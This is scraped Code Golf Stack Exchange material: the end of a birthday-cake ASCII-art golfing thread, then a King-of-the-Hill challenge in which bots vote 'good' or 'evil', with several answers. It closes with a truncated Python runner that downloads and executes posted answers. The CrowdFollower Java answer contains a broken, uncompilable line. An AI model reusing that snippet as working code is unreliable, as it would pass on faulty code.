/?$=:($=<1||$=)*2+1)).(/ /&&$=<0?'':$/)}!$=?'Congratulations on your new baby! :D':split 0,' $0 |0-0~0-' ``` [Answer] # Pip, 74 + 1 = 75 bytes Takes the age as a command-line argument. Requires the `-n` flag. ``` Y^"-~-"a?a<0?yX3(s.^"$|")XaALyX2*a+1"Congratulations on your new baby! :D" ``` [Github repository for Pip](http://github.com/dloscutoff/pip) The command-line argument is stored in `a`. We split `"-~-"` into a list of characters and `Y`ank it into the variable `y`. The rest of the program is a big ternary expression: * `a?` If `a` is truthy (i.e. not zero): + `a<0?yX3` If `a` is negative, return `y` with each element repeated 3 times: `["---";"~~~";"---"]` + Else (`a` is positive): - `(s.^"$|")Xa` Split `"$|"` into a list of characters, prepend a space (`s`) to each, and repeat each resulting element `a` times - `yX2*a+1` Repeat each element of `y` `2*a+1` times - `AL` Append the two lists * Else (`a` is zero), return the congratulations string At the end of the program, the `-n` flag ensures that lists are printed with elements on separate lines, thus displaying a properly layered cake. Here are the steps for an input of `2`: ``` Candles ["$";"|"] [" $";" |"] [" $ $";" | |"] Cake ["-";"~";"-"] ["-----";"~~~~~";"-----"] Put it together [" $ $";" | |";"-----";"~~~~~";"-----"] Final output $ $ | | ----- ~~~~~ ----- ``` Happy birthday! [Answer] # [K (ngn/k)](https://gitlab.com/n9n/k), 87 bytes ``` {$[x<0;3#'2_*:;x;,'/(1+2*x)#;:"Congratulations on your new baby! :D"](" -~-";"$|-~-")} ``` [Try it online!](https://tio.run/##y9bNS8/7/z/NqlolusLGwNpYWd0oXsvKusJaR11fw1DbSKtCU9naSsk5Py@9KLGkNCexJDM/r1ghP0@hMr@0SCEvtVwhKTGpUlHBykUpVkNJQUG3TlfJWkmlBkRr1v5PUzAy/Q8A "K (ngn/k) – Try It Online") edit: whoops, easy 1-byte reduction i missed --- if 2 lines of whitespace is permitted where the candles would be in the x<0 case, we can save 2 bytes with ``` {$[x<0;3#'*:;x;,'/(1+2*x)#;:"Congratulations on your new baby! :D"](" -~-";"$|-~-")} ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~45~~ 44 bytes ``` _i“Ûà€‰€ž€¢‡Í! :D“ćuìëdiU„ $„ |}…-~-`)X·>δ∍» ``` [Try it online!](https://tio.run/##yy9OTMpM/f8/PvNRw5zDsw8veNS05lHDBiB5dB@QOLToUcPCw72KClYuQPkj7aWH1xxenZIZ@qhhnoIKiKipfdSwTLdON0Ez4tB2u3NbHnX0Htr9/78xAA "05AB1E – Try It Online") ``` _i # if input != 0: “Ûà€‰€ž€¢‡Í! :D“ # dictionary string "congratulations on your new baby! :D" ćuì # uppercase the first character ë # else: di } # if input >= 0: >V # set Y = input + 1 (by default, Y is 2) „ $ # push literal " $" „ | # push literal " |" …-~- # push literal "-~-" ` # dump each character separately ) # wrap the entire stack in a list: # [" $", " |", "-", "~", "-"] if input > 0 # ["-", "~", "-"] if input < 0 ε } # for each item in that list: Y∍ # extend to length Y û # palindromize » # join the stack by newlines # implicit output ``` [Answer] # Perl, 144 bytes 143 bytes of code, plus one extra byte for the `-n` switch to capture stdin. ``` if($_!=0){print$_>0?" \$"x$_.$/." |"x$_.$/:""x($_=1);$_=$_*2+1;print"-"x$_.$/."~"x$_.$/."-"x$_;exit}print"Congratulations on your new baby! :D" ``` [Answer] # SpecBAS, 164 Uses the apostrophe shortcut to move to new line ``` INPUT n: IF n=0 THEN PRINT "Congratulations on your new baby! :D" ELSE IF n<0 THEN PRINT "---"'"~~~"'"---" ELSE PRINT " $"*n'" |"*n'"-";"--"*n'"~";"~~"*n'"-";"--"*n ``` Formatted for easier reading ``` INPUT n IF n=0 THEN PRINT "Congratulations on your new baby! :D" ELSE IF n<0 THEN PRINT "---"'"~~~"'"---" ELSE PRINT " $"*n'" |"*n'"-";"--"*n'"~";"~~"*n'"-";"--"*n ``` [Answer] # Python 3, 169 bytes ``` n=int(input()) m=max(n*2+1,3) f=' {}'*n+'\n'+' {}'*n+'\n'+'-'*m+'\n'+'~'*m+'\n'+'-'*m if n==0:f='Congratulations on your new baby! :D' print(f.format(*['$']*n+['|']*n)) ``` [Answer] # Julia, 143 bytes ``` n=int(readline()) p=println l="\n" n>0&&p(" \$"^n*l*" |"^n) d=2(n<0?1:n)+1 p(d>1?"-"^d*l*"~"^d*l*"-"^d:"Congratulations on your new baby! :D") ``` Pretty straightforward. Ungolfed: ``` # Read n from STDIN and convert to an integer n = int(readline()) # Print the candles for positive n n > 0 && println(" \$"^n * "\n" * " |"^n) # Define d as the width of the cake d = 2(n < 0 ? 1 : n) + 1 # Newborns can't eat cake if d > 1 println("-"^d * "\n" * "~"^d * "\n" * "-"^d) else println("Congratulations on your new baby! :D") end ``` [Answer] # Lua, 299 Bytes ``` a=0+io.read() b=string.rep p=print if a==0 then p("Congratulations on your new baby! :D") else p(b(" ",a)..b("$ ",a)..("\n")..b(" ",a)..b("| ",a)) if a<0 or a==1 then p("---\n~~~\n---") else p(b(" ",a-1).."-"..b("-",2*a).."\n"..b(" ",a-1).."~"..b("~",2*a).."\n"..b(" ",a-1).."-"..b("-",2*a))end end ``` [Answer] # Mathematica, 164 Bytes Completely missed the candle-less cakes for n < 0, adding an additional 15 characters ``` r[a_,b_]:=StringRepeat[a,Abs@b];c=" $ ";t="---";m="~~~";f[n_]:=If[n>0,r[c,n]~~"\n",""]~~r[t,n]~~"\n"~~r[m,n]~~"\n"~~r[t,n];f[0]:="Congratulations on your new baby! :D" ``` ]
[Question] [ # Results - July 19, 2014 The current King of the Hill is [Mercenary](https://codegolf.stackexchange.com/a/34551/18487) by user [Fabigler](https://codegolf.stackexchange.com/users/27057/fabigler)! Keep submitting entries and knock him off of his throne! **[Click here to view the Scoreboard.](https://docs.google.com/spreadsheets/d/1pGlGwpPU9SrfYB8MBlbz4CbWjYEivPPe1ZNj9Wgu3sU/edit?usp=sharing)** Programs submitted on or before July 19, 2014 were included. All other submissions will be included in future trials. New results should be posted around August 9, so that gives you plenty of time. --- ![Illustration drawn by brother](https://i.stack.imgur.com/yceAV.png) Illustrated by Chris Rainbolt, my brother and a fresh graduate from Savannah College of Art and Design # Introduction The angels and demons are fighting and, as usual, using earth as their battleground. Humans are stuck in the middle and are being forced to take sides. An unknown neutral force rewards those who consistently fight for the losing side. # The Game Each trial, you will be pseudorandomly paired and then shuffled with between 20 and 30 other submissions. Each trial will consist of 1000 rounds. Each round, you will be passed an input and be expected to produce output. Your output will be recorded and scored. This process will be repeated 1000 times. **Input** You will receive a single argument that represents the past votes of each player. Rounds are delimited by comma. A `0` represents a player who sided with Evil that round. A `1` represents a player who sided with Good. Within a trial, the players will always be in the same order. Your own vote will be included, but not explicitly identified. For example: > > 101,100,100 > > > In this example, three rounds have been completed and three players are competing. Player one always sided with Good. Player two always sided with Evil. Player three swapped from Good in round 1 to Evil in rounds 2 and 3. One of those players was you. **Output** Java Submissions * Return the string `good` if you want to side with Good. * Return the string `evil` if you want to side with Evil. Non-Java Submissions * Output the string `good` to stdout if you want to side with Good. * Output the string `evil` to stdout if you want to side with Evil. If your program outputs or returns anything else, throws an exception, does not compile, or takes longer than one second to output anything on [this exact machine](http://www.cnet.com/products/dell-xps-m1530/specs/), then it will be disqualified. **Scoring** Scores will be posted in a Google docs spreadsheet for easy viewing as soon as I can compile all the current entries. Don't worry - I will keep running trials for as long as you guys keep submitting programs! * You receive 3 points for siding with the majority during a round. * You receive n - 1 points for siding with the minority during a round, where n is the number of consecutive times you have sided with the minority. Your score will be the median of 5 trials. Each trial consists of 1000 rounds. # Deliverables **Non-Java Submissions** You must submit a unique title, a program, and a Windows command line string that will run your program. Remember that an argument may be appended to that string. For example: * `python Angel.py` + Note that this one has no args. This is round one! Be prepared for this. * `python Angel.py 11011,00101,11101,11111,00001,11001,11001` **Java Submissions** You must submit a unique title and a Java class that extends the abstract Human class written below. ``` public abstract class Human { public abstract String takeSides(String history) throws Exception; } ``` # Testing If you want to test your own submission, follow the instructions [here](https://docs.google.com/document/d/1uT-Vh1vqR0ZcJUg5GAriqtPifMuVnDjla2aQCfEU_uU/edit?usp=sharing). # Additional Notes You may submit as many different submissions as you want. Submissions that appear to be colluding will be disqualified. The author of this challenge will be the only judge on that matter. A new instance of your program or Java class will be created every time it is called upon. You may persist information by writing to a file. You may not modify the structure or behavior of anything except your own class. Players will be shuffled before the trial starts. Demon and Angel will participate in every trial. If the number of players is even, Petyr Baelish will also join. Demon fights for Evil, Angel for Good, and Petyr Baelish chooses a pseudorandom side. [Answer] ## Hipster, Ruby ``` if ARGV.length == 0 puts ["good", "evil"].sample else last_round = ARGV[0].split(',').last n_players = last_round.length puts last_round.count('1') > n_players/2 ? "evil" : "good" end ``` Simply goes with last round's minority, just because everything else is mainstream. Run like ``` ruby hipster.rb ``` [Answer] # Petyr Baelish You never know whose side Petyr Baelish is on. ``` package Humans; /** * Always keep your foes confused. If they are never certain who you are or * what you want, they cannot know what you are likely to do next. * @author Rusher */ public class PetyrBaelish extends Human { /** * Randomly take the side of good or evil. * @param history The past votes of every player * @return A String "good" or "evil */ public String takeSides(String history) { return Math.random() < 0.5 ? "good" : "evil"; } } ``` This entry will only be included if the number of players is even. This ensures that there will always be a majority. [Answer] ## C++, The Meta Scientist This one does essentially the same as The Scientist, but doesn't operate on rounds as a whole but on the individual players. It tries to map a wave (or a constant function) to each player separately and predicts their move in the next round. From the resulted round prediction, The Meta Scientist chooses whichever side looks like having a majority. ``` #include <iostream> #include <utility> #include <cstdlib> #include <cstring> #if 0 #define DBG(st) {st} #else #define DBG(st) #endif #define WINDOW (200) using namespace std; int main(int argc,char **argv){ if(argc==1){ cout<<(rand()%2?"good":"evil")<<endl; return 0; } DBG(cerr<<"WINDOW="<<WINDOW<<endl;) int nump,numr; nump=strchr(argv[1],',')-argv[1]; numr=(strlen(argv[1])+1)/(nump+1); int period,r,p; int score,*scores=new int[WINDOW]; int max; //some score will always get above 0, because if some score<0, the inverted wave will be >0. int phase,phasemax; int predicted=0; //The predicted number of goods for the next round int fromround=numr-WINDOW; if(fromround<0)fromround=0; pair<int,int> maxat; //period, phase DBG(cerr<<"Players:"<<endl;) for(p=0;p<nump;p++){ DBG(cerr<<" p"<<p<<": ";) for(r=fromround;r<numr;r++)if(argv[1][r*(nump+1)+p]!=argv[1][p])break; if(r==numr){ DBG(cerr<<"All equal! prediction="<<argv[1][p]<<endl;) predicted+=argv[1][(numr-1)*(nump+1)+p]-'0'; continue; } max=0; maxat={-1,-1}; for(period=1;period<=WINDOW;period++){ scores[period-1]=0; phasemax=-1; for(phase=0;phase<2*period;phase++){ score=0; for(r=fromround;r<numr;r++){ if(argv[1][r*(nump+1)+p]-'0'==1-(r+phase)%(2*period)/period)score++; else score--; } if(score>scores[period-1]){ scores[period-1]=score; phasemax=phase; } } if(scores[period-1]>max){ max=scores[period-1]; maxat.first=period; maxat.second=phasemax; } DBG(cerr<<scores[period-1]<<" ";) } DBG(cerr<<"(max="<<max<<" at {"<<maxat.first<<","<<maxat.second<<"})"<<endl;) DBG(cerr<<" prediction: 1-("<<numr<<"+"<<maxat.second<<")%(2*"<<maxat.first<<")/"<<maxat.first<<"="<<(1-(numr+maxat.second)%(2*maxat.first)/maxat.first)<<endl;) predicted+=(1-(numr+maxat.second)%(2*maxat.first)/maxat.first); } DBG(cerr<<"Predicted outcome: "<<predicted<<" good + "<<(nump-predicted)<<" evil"<<endl;) if(predicted>nump/2)cout<<"evil"<<endl; //pick minority else cout<<"good"<<endl; delete[] scores; return 0; } ``` If you want to turn on debug statements, change the line reading `#if 0` to `#if 1`. Compile with `g++ -O3 -std=c++0x -o MetaScientist MetaScientist.cpp` (you don't need warnings, so no `-Wall`) and run with `MetaScientist.exe` (possibly including the argument of course). If you ask really nicely I can provide you with a Windows executable. **EDIT:** Apparently, the previous version ran out of time around 600 rounds into the game. This shouldn't do that. Its time consumption is controlled by the `#define WINDOW (...)` line, more is slower but looks further back. [Answer] # Angel The purest player of all. **Program** ``` print "good" ``` **Command** ``` python Angel.py ``` [Answer] # Artemis Fowl ``` package Humans; public class ArtemisFowl extends Human { public final String takeSides(String history) { int good = 0, evil = 0; for(int i = 0; i < history.length(); i++) { switch(history.charAt(i)) { case '0': evil++; break; case '1': good++; break; } } if(good % 5 == 0){ return "good"; } else if (evil % 5 == 0){ return "evil"; } else { if(good > evil){ return "good"; } else if(evil > good){ return "evil"; } else { return Math.random() >= 0.5 ? "good" : "evil"; } } } } ``` In Book 7, *The Atlantis Complex*, [Artemis Fowl](http://en.wikipedia.org/wiki/Artemis_Fowl_(series)) contracted a psychological disease (called Atlantis complex) that forced him to do everything in multiples of 5 (speaking, actions, etc). When he couldn't do it in some multiple of 5, he panicked. I do basically that: see if good or evil (intentional bias) is divisible by 5, if neither is, then I panic & see which was greater & run with that or panic even further & randomly choose. [Answer] **Disparnumerophobic** Odd numbers are terrifying. ``` package Humans; public class Disparnumerophobic extends Human { public final String takeSides(String history) { int good = 0, evil = 0; for(int i = 0; i < history.length(); i++) { switch(history.charAt(i)) { case '0': evil++; break; case '1': good++; } } if(good%2 == 1 && evil%2 == 0) return "evil"; if(evil%2 == 1 && good%2 == 0) return "good"; // well shit.... return Math.random() >= 0.5 ? "good" : "evil"; } } ``` [Answer] # Linus, Ruby Seeks to confound analysts by always [breaking the pattern](http://mathworld.wolfram.com/LinusSequence.html). ``` num_rounds = ARGV[0].to_s.count(',') LINUS_SEQ = 0xcb13b2d3734ecb4dc8cb134b232c4d3b2dcd3b2d3734ec4d2c8cb134b234dcd3b2d3734ec4d2c8cb134b23734ecb4dcd3b2c4d232c4d2c8cb13b2d3734ecb4dcb232c4d2c8cb13b2d3734ecb4dc8cb134b232c4d3b2dcd3b2d3734ec4d2c8cb134b234dcd3b2d3734ec4d2c8cb134b23734ecb4dcd3b2c4d2c8cb134b2 puts %w[good evil][LINUS_SEQ[num_rounds]] ``` Save as `linus.rb` and run with `ruby linus.rb` [Answer] # The BackPacker Determinates a player that has chosen the matching minority the most yet and chooses his last vote. ``` package Humans; public class BackPacker extends Human { // toggles weather the BackPacker thinks majority is better vs. minority is better private static final boolean goWithMajority = false; @Override public final String takeSides(String history) { if (history == null || history.equals("")) return "evil"; String[] roundVotes = history.split(","); int players = roundVotes[0].length(); int[] winningPlayers = new int[players]; for (String nextRound : roundVotes) { boolean didGoodWin = didGoodWin(nextRound, players); for (int player = 0; player < nextRound.length(); player++) { boolean playerVotedGood = nextRound.charAt(player) == '1'; winningPlayers[player] += didPlayerWin(didGoodWin, playerVotedGood); } } int bestScore = -1; for (int nextPlayer : winningPlayers) if (bestScore < nextPlayer) bestScore = nextPlayer; int bestPlayer = 0; for (int ii = 0; ii < players; ii++) { if (winningPlayers[ii] == bestScore) { bestPlayer = ii; break; } } if (roundVotes[roundVotes.length - 1].charAt(bestPlayer) == '1') return "good"; return "evil"; } private int didPlayerWin(boolean didGoodWin, boolean playerVotedGood) { if(goWithMajority) { return ((didGoodWin && playerVotedGood) || (!didGoodWin && !playerVotedGood)) ? 1 : 0; } else { return ((!didGoodWin && playerVotedGood) || (didGoodWin && !playerVotedGood)) ? 1 : 0; } } private boolean didGoodWin(String round, int players) { int good = 0; for (char next : round.toCharArray()) good += next == '1' ? 1 : 0; return (good * 2) > players; } } ``` # The CrowdFollower Determinates a player that has chosen the matching majority the most yet and chooses his last vote. ``` package Humans; public class CrowdFollower extends Human { // toggles weather the FrontPacker thinks majority is better vs. minority is better private static final boolean goWithMajority = true; @Override public final String takeSides(String history) { if (history == null || history.equals("")) return "evil"; String[] roundVotes = history.split(","); int players = roundVotes[0].length(); int[] winningPlayers = new int[players]; for (String nextRound : roundVotes) { boolean didGoodWin = didGoodWin(nextRound, players); for (int player = 0; player < nextRound.length(); player++) { boolean playerVotedGood = nextRound.charAt(player) == '1'; winningPlayers[player] += didPlayerWin(didGoodWin, playerVotedGood); } } int bestScore = -1; for (int nextPlayer : winningPlayers) if (bestScore < nextPlayer) bestScore = nextPlayer; int bestPlayer = 0; for (int ii = 0; ii < players; ii++) { if (winningPlayers[ii] == bestScore) { bestPlayer = ii; break; } } if (roundVotes[roundVotes.length - 1].charAt(bestPlayer) == '1') return "good"; return "evil"; } private int didPlayerWin(boolean didGoodWin, boolean playerVotedGood) { if(goWithMajority) { return ((didGoodWin && playerVotedGood) || (!didGoodWin && !playerVotedGood)) ? 1 : 0; } else playerVotedGood return ((!didGoodWin && good) || (didGoodWin && !playerVotedGood)) ? 1 : 0; } } private boolean didGoodWin(String round, int players) { int good = 0; for (char next : round.toCharArray()) good += next == '1' ? 1 : 0; return (good * 2) > players; } } ``` [Answer] ## Fortune Teller This is still work in progress. I haven't tested it yet. I just wanted to see if the OP thinks it breaks the rules or not. The idea is to simulate the next round by executing all other participants a few times to get a probability of the outcome and act accordingly. ``` package Humans; import java.io.File; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.JarURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLDecoder; import java.util.ArrayList; import java.util.Enumeration; import java.util.jar.JarEntry; import java.util.jar.JarFile; import sun.net.www.protocol.file.FileURLConnection; public class FortuneTeller extends Human { /** * Code from http://stackoverflow.com/a/22462785 Private helper method * * @param directory The directory to start with * @param pckgname The package name to search for. Will be needed for * getting the Class object. * @param classes if a file isn't loaded but still is in the directory * @throws ClassNotFoundException */ private static void checkDirectory(File directory, String pckgname, ArrayList<Class<?>> classes) throws ClassNotFoundException { File tmpDirectory; if (directory.exists() && directory.isDirectory()) { final String[] files = directory.list(); for (final String file : files) { if (file.endsWith(".class")) { try { classes.add(Class.forName(pckgname + '.' + file.substring(0, file.length() - 6))); } catch (final NoClassDefFoundError e) { // do nothing. this class hasn't been found by the // loader, and we don't care. } } else if ((tmpDirectory = new File(directory, file)) .isDirectory()) { checkDirectory(tmpDirectory, pckgname + "." + file, classes); } } } } /** * Private helper method. * * @param connection the connection to the jar * @param pckgname the package name to search for * @param classes the current ArrayList of all classes. This method will * simply add new classes. * @throws ClassNotFoundException if a file isn't loaded but still is in the * jar file * @throws IOException if it can't correctly read from the jar file. */ private static void checkJarFile(JarURLConnection connection, String pckgname, ArrayList<Class<?>> classes) throws ClassNotFoundException, IOException { final JarFile jarFile = connection.getJarFile(); final Enumeration<JarEntry> entries = jarFile.entries(); String name; for (JarEntry jarEntry = null; entries.hasMoreElements() && ((jarEntry = entries.nextElement()) != null);) { name = jarEntry.getName(); if (name.contains(".class")) { name = name.substring(0, name.length() - 6).replace('/', '.'); if (name.contains(pckgname)) { classes.add(Class.forName(name)); } } } } /** * Attempts to list all the classes in the specified package as determined * by the context class loader * * @param pckgname the package name to search * @return a list of classes that exist within that package * @throws ClassNotFoundException if something went wrong */ private static ArrayList<Class<?>> getClassesForPackage(String pckgname) throws ClassNotFoundException { final ArrayList<Class<?>> classes = new ArrayList<Class<?>>(); try { final ClassLoader cld = Thread.currentThread() .getContextClassLoader(); if (cld == null) { throw new ClassNotFoundException("Can't get class loader."); } final Enumeration<URL> resources = cld.getResources(pckgname .replace('.', '/')); URLConnection connection; for (URL url = null; resources.hasMoreElements() && ((url = resources.nextElement()) != null);) { try { connection = url.openConnection(); if (connection instanceof JarURLConnection) { checkJarFile((JarURLConnection) connection, pckgname, classes); } else if (connection instanceof FileURLConnection) { try { checkDirectory( new File(URLDecoder.decode(url.getPath(), "UTF-8")), pckgname, classes); } catch (final UnsupportedEncodingException ex) { throw new ClassNotFoundException( pckgname + " does not appear to be a valid package (Unsupported encoding)", ex); } } else { throw new ClassNotFoundException(pckgname + " (" + url.getPath() + ") does not appear to be a valid package"); } } catch (final IOException ioex) { throw new ClassNotFoundException( "IOException was thrown when trying to get all resources for " + pckgname, ioex); } } } catch (final NullPointerException ex) { throw new ClassNotFoundException( pckgname + " does not appear to be a valid package (Null pointer exception)", ex); } catch (final IOException ioex) { throw new ClassNotFoundException( "IOException was thrown when trying to get all resources for " + pckgname, ioex); } return classes; } private static boolean isRecursiveCall = false; private static ArrayList<Class<?>> classes; static { if (classes == null) { try { classes = getClassesForPackage("Humans"); } catch (ClassNotFoundException ex) { } } } private String doThePetyrBaelish() { return Math.random() >= 0.5 ? "good" : "evil"; } @Override public String takeSides(String history) { if (isRecursiveCall) { return doThePetyrBaelish(); } isRecursiveCall = true; int currentRoundGoodCount = 0; float probabilityOfGood = 0; int roundCount = 0; int voteCount = 0; do { for (int i = 0; i < classes.size(); i++) { try { if (classes.get(i).getName() == "Humans.FortuneTeller") { continue; } Human human = (Human) classes.get(i).newInstance(); String response = human.takeSides(history); switch (response) { case "good": currentRoundGoodCount++; voteCount++; break; case "evil": voteCount++; break; default: break; } } catch (Exception e) { } } probabilityOfGood = (probabilityOfGood * roundCount + (float) currentRoundGoodCount / voteCount) / (roundCount + 1); roundCount++; currentRoundGoodCount = 0; voteCount = 0; } while (roundCount < 11); isRecursiveCall = false; if (probabilityOfGood > .7) { return "evil"; } if (probabilityOfGood < .3) { return "good"; } return doThePetyrBaelish(); } } ``` [Answer] ## C++, The Scientist This one tries to, with the history of what the majority chose per round in `wave` (`majority()` gives the majority's choice on a round), fit a wave to the data, of wavelength `2*period` and phase `phase`. Thus, given `0,1,1,1,0,1,0,1,1,1,0,0,0,1,0` it selects `period=3, phase=5` (`maxat=={3,5}`): its scores become `9 3 11 5 5 3 5 7 9 7 7 7 7 7 7`. It loops over all possible periods and if, for that period, the score is higher than for the current maximum, it stores `{period,phase}` for which that occurred. It then extrapolates the found wave to the next round and takes the predicted majority. ``` #include <iostream> #include <utility> #include <cstdlib> #include <cstring> #if 0 #define DBG(st) {st} #else #define DBG(st) #endif #define WINDOW (700) using namespace std; int majority(const char *r){ int p=0,a=0,b=0; while(true){ if(r[p]=='1')a++; else if(r[p]=='0')b++; else break; p++; } return a>b; } int main(int argc,char **argv){ if(argc==1){ cout<<(rand()%2?"good":"evil")<<endl; return 0; } DBG(cerr<<"WINDOW="<<WINDOW<<endl;) int nump,numr; nump=strchr(argv[1],',')-argv[1]; numr=(strlen(argv[1])+1)/(nump+1); int fromround=numr-30; if(fromround<0)fromround=0; int period,r; int *wave=new int[WINDOW]; bool allequal=true; DBG(cerr<<"wave: ";) for(r=fromround;r<numr;r++){ wave[r-fromround]=majority(argv[1]+r*(nump+1)); if(wave[r-fromround]!=wave[0])allequal=false; DBG(cerr<<wave[r]<<" ";) } DBG(cerr<<endl;) if(allequal){ DBG(cerr<<"All equal!"<<endl;) if(wave[numr-1]==1)cout<<"evil"<<endl; //choose for minority else cout<<"good"<<endl; return 0; } int score,*scores=new int[WINDOW]; int max=0; //some score will always get above 0, because if some score<0, the inverted wave will be >0. int phase,phasemax; pair<int,int> maxat(-1,-1); //period, phase DBG(cerr<<"scores: ";) for(period=1;period<=WINDOW;period++){ scores[period-1]=0; phasemax=-1; for(phase=0;phase<2*period;phase++){ score=0; for(r=fromround;r<numr;r++){ if(wave[r]==1-(r+phase)%(2*period)/period)score++; else score--; } if(score>scores[period-1]){ scores[period-1]=score; phasemax=phase; } } if(scores[period-1]>max){ max=scores[period-1]; maxat.first=period; maxat.second=phasemax; } DBG(cerr<<scores[period-1]<<" ";) } DBG(cerr<<"(max="<<max<<" at {"<<maxat.first<<","<<maxat.second<<"})"<<endl;) DBG(cerr<<" max: ("<<numr<<"+"<<maxat.second<<")%(2*"<<maxat.first<<")/"<<maxat.first<<"=="<<((numr+maxat.second)%(2*maxat.first)/maxat.first)<<endl;) if(1-(numr+maxat.second)%(2*maxat.first)/maxat.first==1)cout<<"evil"<<endl; //choose for minority else cout<<"good"<<endl; delete[] wave; delete[] scores; return 0; } ``` Compile with `g++ -O3 -std=c++0x -o Scientist Scientist.cpp` (you don't need warnings, so no `-Wall`) and run with `Scientist.exe` (possibly including the argument of course). If you ask really nicely I can provide you with a Windows executable. Oh, and don't dare messing with the input format. It'll do strange things otherwise. **EDIT:** Apparently, the previous version ran out of time around 600 rounds into the game. This shouldn't do that. Its time consumption is controlled by the `#define WINDOW (...)` line, more is slower but looks further back. [Answer] ## Code Runner So, to make things interesting, I created a script to automatically download the code from every posted answer, compile it if necessary, and then run all of the solutions according to the rules. This way, people can check how they are doing. Just save this script to run\_all.py (requires BeautifulSoup) and then: ``` usage: To get the latest code: 'python run_all.py get' To run the submissions: 'python run_all.py run <optional num_runs>' ``` A few things: 1. If you want to add support for more languages, or alternatively remove support for some, see `def submission_type(lang)`. 2. Extending the script should be fairly easy, even for languages that require compilation (see `CPPSubmission`). The language type is grabbed from the meta code tag `< !-- language: lang-java -- >`, so make sure to add it if you want your code to be run (Remove the extra spaces before and after the <>). **UPDATE**: There is now some extremely basic inference to try and detect the language if it is not defined. 3. If your code fails to run at all, or fails to finish within the allotted time, it will be added to `blacklist.text` and will be removed from future trials automatically. If you fix your code, just remove your entry from the blacklist and re-run `get`, Currently supported languages: ``` submission_types = { 'lang-ruby': RubySubmission, 'lang-python': PythonSubmission, 'lang-py': PythonSubmission, 'lang-java': JavaSubmission, 'lang-Java': JavaSubmission, 'lang-javascript': NodeSubmission, 'lang-cpp': CPPSubmission, 'lang-c': CSubmission, 'lang-lua': LuaSubmission, 'lang-r': RSubmission, 'lang-fortran': FortranSubmission, 'lang-bash': BashSubmission } ``` Without further ado: ``` import urllib2 import hashlib import os import re import subprocess import shutil import time import multiprocessing import tempfile import sys from bs4 import BeautifulSoup __run_java__ = """ public class Run { public static void main(String[] args) { String input = ""; Human h = new __REPLACE_ME__(); if(args.length == 1) input = args[0]; try { System.out.println(h.takeSides(input)); } catch(Exception e) { } } } """ __human_java__ = """ public abstract class Human { public abstract String takeSides(String history) throws Exception; } """ class Submission(): def __init__(self, name, code): self.name = name self.code = code def submissions_dir(self): return 'submission' def base_name(self): return 'run' def submission_path(self): return os.path.join(self.submissions_dir(), self.name) def extension(self): return "" def save_submission(self): self.save_code() def full_command(self, input): return [] def full_path(self): file_name = "%s.%s" % (self.base_name(), self.extension()) full_path = os.path.join(self.submission_path(), file_name) return full_path def save_code(self): if not os.path.exists(self.submission_path()): os.makedirs(self.submission_path()) with open(self.full_path(), 'w') as f: f.write(self.code) def write_err(self, err): with open(self.error_log(), 'w') as f: f.write(err) def error_log(self): return os.path.join(self.submission_path(), 'error.txt') def run_submission(self, input): command = self.full_command() if input is not None: command.append(input) try: output,err,exit_code = run(command,timeout=1) if len(err) > 0: self.write_err(err) return output except Exception as e: self.write_err(str(e)) return "" class CPPSubmission(Submission): def bin_path(self): return os.path.join(self.submission_path(), self.base_name()) def save_submission(self): self.save_code() compile_cmd = ['g++', '-O3', '-std=c++0x', '-o', self.bin_path(), self.full_path()] errout = open(self.error_log(), 'w') subprocess.call(compile_cmd, stdout=errout, stderr=subprocess.STDOUT) def extension(self): return 'cpp' def full_command(self): return [self.bin_path()] class CSubmission(Submission): def bin_path(self): return os.path.join(self.submission_path(), self.base_name()) def save_submission(self): self.save_code() compile_cmd = ['gcc', '-o', self.bin_path(), self.full_path()] errout = open(self.error_log(), 'w') subprocess.call(compile_cmd, stdout=errout, stderr=subprocess.STDOUT) def extension(self): return 'c' def full_command(self): return [self.bin_path()] class FortranSubmission(Submission): def bin_path(self): return os.path.join(self.submission_path(), self.base_name()) def save_submission(self): self.save_code() compile_cmd = ['gfortran', '-fno-range-check', '-o', self.bin_path(), self.full_path()] errout = open(self.error_log(), 'w') subprocess.call(compile_cmd, stdout=errout, stderr=subprocess.STDOUT) def extension(self): return 'f90' def full_command(self): return [self.bin_path()] class JavaSubmission(Submission): def base_name(self): class_name = re.search(r'class (\w+) extends', self.code) file_name = class_name.group(1) return file_name def human_base_name(self): return 'Human' def run_base_name(self): return 'Run' def full_name(self, base_name): return '%s.%s' % (base_name, self.extension()) def human_path(self): return os.path.join(self.submission_path(), self.full_name(self.human_base_name())) def run_path(self): return os.path.join(self.submission_path(), self.full_name(self.run_base_name())) def replace_in_file(self, file_name, str_orig, str_new): old_data = open(file_name).read() new_data = old_data.replace(str_orig, str_new) with open(file_name, 'w') as f: f.write(new_data) def write_code_to_file(self, code_str, file_name): with open(file_name, 'w') as f: f.write(code_str) def save_submission(self): self.save_code() self.write_code_to_file(__human_java__, self.human_path()) self.write_code_to_file(__run_java__, self.run_path()) self.replace_in_file(self.run_path(), '__REPLACE_ME__', self.base_name()) self.replace_in_file(self.full_path(), 'package Humans;', '') compile_cmd = ['javac', '-cp', self.submission_path(), self.run_path()] errout = open(self.error_log(), 'w') subprocess.call(compile_cmd, stdout=errout, stderr=subprocess.STDOUT) def extension(self): return 'java' def full_command(self): return ['java', '-cp', self.submission_path(), self.run_base_name()] class PythonSubmission(Submission): def full_command(self): return ['python', self.full_path()] def extension(self): return 'py' class RubySubmission(Submission): def full_command(self): return ['ruby', self.full_path()] def extension(self): return 'rb' class NodeSubmission(Submission): def full_command(self): return ['node', self.full_path()] def extension(self): return 'js' class LuaSubmission(Submission): def full_command(self): return ['lua', self.full_path()] def extension(self): return 'lua' class RSubmission(Submission): def full_command(self): return ['Rscript', self.full_path()] def extension(self): return 'R' class BashSubmission(Submission): def full_command(self): return [self.full_path()] def extension(self): return '.sh' class Scraper(): def download_page(self, url, use_cache = True, force_cache_update = False): file_name = hashlib.sha1(url).hexdigest() if not os.path.exists('cache'): os.makedirs('cache') full_path = os.path.join('cache', file_name) file_exists = os.path.isfile(full_path) if use_cache and file_exists and not force_cache_update: html = open(full_path, 'r').read() return html opener = urllib2.build_opener() opener.addheaders = [('User-agent', 'Mozilla/5.0')] response = opener.open(url) html = response.read() if use_cache: f = open(full_path, 'w') f.write(html) f.close() return html def parse_post(self, post): name = post.find(text=lambda t: len(t.strip()) > 0) pre = post.find('pre') lang = pre.attrs['class'][0] if pre.has_attr('class') else None code = pre.find('code').text user = post.find(class_='user-details').find(text=True) return 